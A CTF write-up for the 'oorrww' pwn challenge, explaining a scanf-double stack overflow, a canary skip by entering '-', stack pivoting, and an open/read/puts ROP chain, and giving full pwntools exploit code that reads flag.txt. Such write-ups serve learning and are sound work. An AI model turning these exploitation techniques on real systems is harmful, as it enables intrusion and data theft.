oorrww (pwn)

I didn't manage to solve this challenge during the CTF, but upsolved it after looking at others' solutions!

As the challenge title suggests, this challenge involves opening, reading and writing, and likely involves doubles.

Running checksec on the binary, we get the following:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The decompiled main function is given below:

undefined8 main(EVP_PKEY_CTX *param_1)
{
  long in_FS_OFFSET;
  int local_ac;
  undefined local_a8 [152];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  sandbox();
  gifts(local_a8);
  for (local_ac = 0; local_ac < 22; local_ac = local_ac + 1) {
    puts("input:");
    __isoc99_scanf("%lf",local_a8 + (local_ac << 3));
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

sandbox adds seccomp rules. When we do seccomp-tools dump ./oorrww, we see the following:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

So we will have difficulty obtaining a shell. Looking at the gifts function:

void gifts(undefined8 param_1)
{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  printf("here are gifts for you: %.16g %.16g!\n",param_1,__isoc99_scanf);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

We get the addresses of the variable local_a8 in the stack, and the address of a libc function. However, the twist is that we are getting the addresses as a float with 16 decimal places.

Afterwards, in main, we are asked to input a float value into local_a8 22 times. Each input will write 8 bytes. This leads to a buffer overflow because for our last input, we will be inputting into the address local_a8[168]. In other words, we can write 24 bytes past local_a8. The first 8 bytes will overwrite the stack canary, the next 8 bytes will overwrite RBP and the next 8 bytes will overwrite RIP.

Since we know the address of the stack, and we have limited space, we can do stack pivoting so we have more space for an ROP chain. Our ROP chain will be put into local_a8.

Start by defining a helper function which converts the given floats to longs, and another helper function which converts a long to a float in bytes. This is facilitated by the Python pack and unpack functions.

def float_to_long(f):
    # pack the float as little endian using <d
    # unpack into 8 bytes as little endian using <Q
    return struct.unpack('<Q', struct.pack('<d', f))[0]

def long_to_float(l):
  return str(struct.unpack('<d', struct.pack('<Q', l))[0]).encode()

We start by receiving the stack address and scanf address, and converting them to longs to work with.

p.recvuntil(b': ')
addresses = p.recvuntil(b'!\n')[:-2].decode()
local_a8_addr, scanf_addr = addresses.split()
local_a8_addr = float_to_long(float(local_a8_addr))
scanf_addr = float_to_long(float(scanf_addr))
print("local_a8 addr: " + hex(local_a8_addr))
print("scanf addr: " + hex(scanf_addr))
print("libc addr: " + hex(scanf_addr - libc.sym['__isoc99_scanf']))
libc.address = scanf_addr - libc.sym['__isoc99_scanf']

We can now start creating our payload. We will need a "flag.txt" string to use in our sys_open call. We start the payload by inputting the string which will be 8 bytes. Since it needs to be null-terminated, we use another 8 bytes for a block of zeroes.

payload = str(struct.unpack('<d', struct.pack('<8s', b'flag.txt'))[0]).encode()
p.sendlineafter(b'\n', payload) # i = 0
p.sendlineafter(b'\n', long_to_float(0)) # i = 1

Now we can start writing the sys_open part of the payload. We want rdi to be a pointer to flag.txt, and rsi and rdx to be 0. Since rdx is already 0, we only need to zero out rsi. We then call sys_open by calling syscall with rax = 2

# syscall format: return val : rax, args: rdi, rsi, rdx
# ROP chain starts here
# open(local_a8_addr, 0, 0)
p.sendlineafter(b'\n', long_to_float(0x00000000000d8380 + libc.address)) # mov rax, 2 ; ret i = 2
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi; ret i = 3
# rdx is already 0
p.sendlineafter(b'\n', long_to_float(local_a8_addr)) # i = 4, this is the address of flag.txt
p.sendlineafter(b'\n', long_to_float(0x000000000002be51 + libc.address)) # pop rsi; ret i = 5
p.sendlineafter(b'\n', long_to_float(0)) # i = 6
p.sendlineafter(b'\n', long_to_float(0x0000000000091316 + libc.address)) # syscall ; ret i = 7

Next we want to read. Instead of using syscall, I used read to save stack space. This way I don't need to set the rax value. Assuming the file descriptor of the opened flag.txt is 3, we want rdi = 3, rsi = *buf, rdx = count . For the value of rsi which is the buffer address, we ideally want an address that doesn't overlap the part of the stack we use for our ROP chain. For this I chose local_a8_addr - 0x100 since it is sufficiently far away and is still readable and writable.

# read(3, local_a8_addr, 50) , assume the file descriptor is 3
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi ; ret i = 8
p.sendlineafter(b'\n', long_to_float(3)) # i = 9
p.sendlineafter(b'\n', long_to_float(0x000000000002be51 + libc.address)) # pop rsi; ret i = 10
# use local_a8_addr - 0x80 since we don't want any overlaps with our used stack space
p.sendlineafter(b'\n', long_to_float(local_a8_addr - 0x100)) # i = 11
p.sendlineafter(b'\n', long_to_float(0x000000000011f2e7 + libc.address)) # pop rdx ; pop r12 ; ret i = 12
p.sendlineafter(b'\n', long_to_float(50)) # i = 13
p.sendlineafter(b'\n', long_to_float(0)) # i = 14
p.sendlineafter(b'\n', long_to_float(libc.sym['read'])) # i = 15

Next we want to write from local_a8_addr - 0x100. To save space we call puts. We only need rdi to be that address, then call puts.

# puts(local_a8_addr)
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi; ret i = 16
p.sendlineafter(b'\n', long_to_float(local_a8_addr - 0x100)) # i = 17
p.sendlineafter(b'\n', long_to_float(libc.sym['puts'])) # i = 18

Now, we need to bypass the canary. We can do this by entering a character such as - which will leave the canary untouched. We then overwrite RBP to local_a8 + 8 so our execution continues right after the 8 bytes of zeroes, and overwrite RIP to be a leave ; ret instruction.

# canary bypass
p.sendlineafter(b'\n', b'-') # i = 19

# overwrite RBP to local_a8 + 8
p.sendlineafter(b'\n', long_to_float(local_a8_addr + 8)) # i = 20

# stack pivoting
p.sendlineafter(b'\n', long_to_float(0x000000000004da83 + libc.address)) # leave ; ret i = 21

This should give us the flag. The full exploit code is given below.

from pwn import *
# fill in binary name
elf = context.binary = ELF("./oorrww")
context.arch = 'amd64'
# fill in libc name
libc = ELF("./libc.so.6")

if args.REMOTE: 
  # fill in remote address
  p = remote("193.148.168.30", 7666)
elif args.REMOTE2:
  p = remote("localhost", 40003)
elif args.GDB:
  context.terminal = ["tmux", "splitw", "-h"]
  p = gdb.debug(binary, gdbscript=gs)
else:
  p = elf.process(env = {"LD_PRELOAD": libc.path})

def float_to_long(f):
    # pack the float as little endian using <d
    # unpack into 8 bytes as little endian using <Q
    return struct.unpack('<Q', struct.pack('<d', f))[0]

def long_to_float(l):
  return str(struct.unpack('<d', struct.pack('<Q', l))[0]).encode()

p.recvuntil(b': ')
addresses = p.recvuntil(b'!\n')[:-2].decode()
local_a8_addr, scanf_addr = addresses.split()
local_a8_addr = float_to_long(float(local_a8_addr))
scanf_addr = float_to_long(float(scanf_addr))
print("local_a8 addr: " + hex(local_a8_addr))
print("scanf addr: " + hex(scanf_addr))
print("libc addr: " + hex(scanf_addr - libc.sym['__isoc99_scanf']))
libc.address = scanf_addr - libc.sym['__isoc99_scanf']

payload = str(struct.unpack('<d', struct.pack('<8s', b'flag.txt'))[0]).encode()
# we can only send 22 * 8 bytes!
info(payload)
p.sendlineafter(b'\n', payload) # i = 0
p.sendlineafter(b'\n', long_to_float(0)) # i = 1
# syscall format: return val : rax, args: rdi, rsi, rdx
# ROP chain starts here
# open(local_a8_addr, 0, 0)
p.sendlineafter(b'\n', long_to_float(0x00000000000d8380 + libc.address)) # mov rax, 2 ; ret i = 2
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi; ret i = 3
# rdx is already 0
p.sendlineafter(b'\n', long_to_float(local_a8_addr)) # i = 4
p.sendlineafter(b'\n', long_to_float(0x000000000002be51 + libc.address)) # pop rsi; ret i = 5
p.sendlineafter(b'\n', long_to_float(0)) # i = 6
p.sendlineafter(b'\n', long_to_float(0x0000000000091316 + libc.address)) # syscall ; ret i = 7

# read(3, local_a8_addr, 20) , assume the file descriptor is 3
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi ; ret i = 8
p.sendlineafter(b'\n', long_to_float(3)) # i = 9
p.sendlineafter(b'\n', long_to_float(0x000000000002be51 + libc.address)) # pop rsi; ret i = 10
# use local_a8_addr - 0x80 since we don't want any overlaps with our used stack space
p.sendlineafter(b'\n', long_to_float(local_a8_addr - 0x100)) # i = 11
p.sendlineafter(b'\n', long_to_float(0x000000000011f2e7 + libc.address)) # pop rdx ; pop r12 ; ret i = 12
p.sendlineafter(b'\n', long_to_float(50)) # i = 13
p.sendlineafter(b'\n', long_to_float(0)) # i = 14
p.sendlineafter(b'\n', long_to_float(libc.sym['read'])) # i = 15

# puts(local_a8_addr)
p.sendlineafter(b'\n', long_to_float(0x000000000002a3e5 + libc.address)) # pop rdi; ret i = 16
p.sendlineafter(b'\n', long_to_float(local_a8_addr - 0x100)) # i = 17
p.sendlineafter(b'\n', long_to_float(libc.sym['puts'])) # i = 18

# canary bypass
p.sendlineafter(b'\n', b'-') # i = 19

# overwrite RBP to local_a8 + 8
p.sendlineafter(b'\n', long_to_float(local_a8_addr + 8)) # i = 20

# stack pivoting
p.sendlineafter(b'\n', long_to_float(0x000000000004da83 + libc.address)) # leave ; ret i = 21

info(b"flag: " + p.recv(50))
# flag: L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt}

Last updated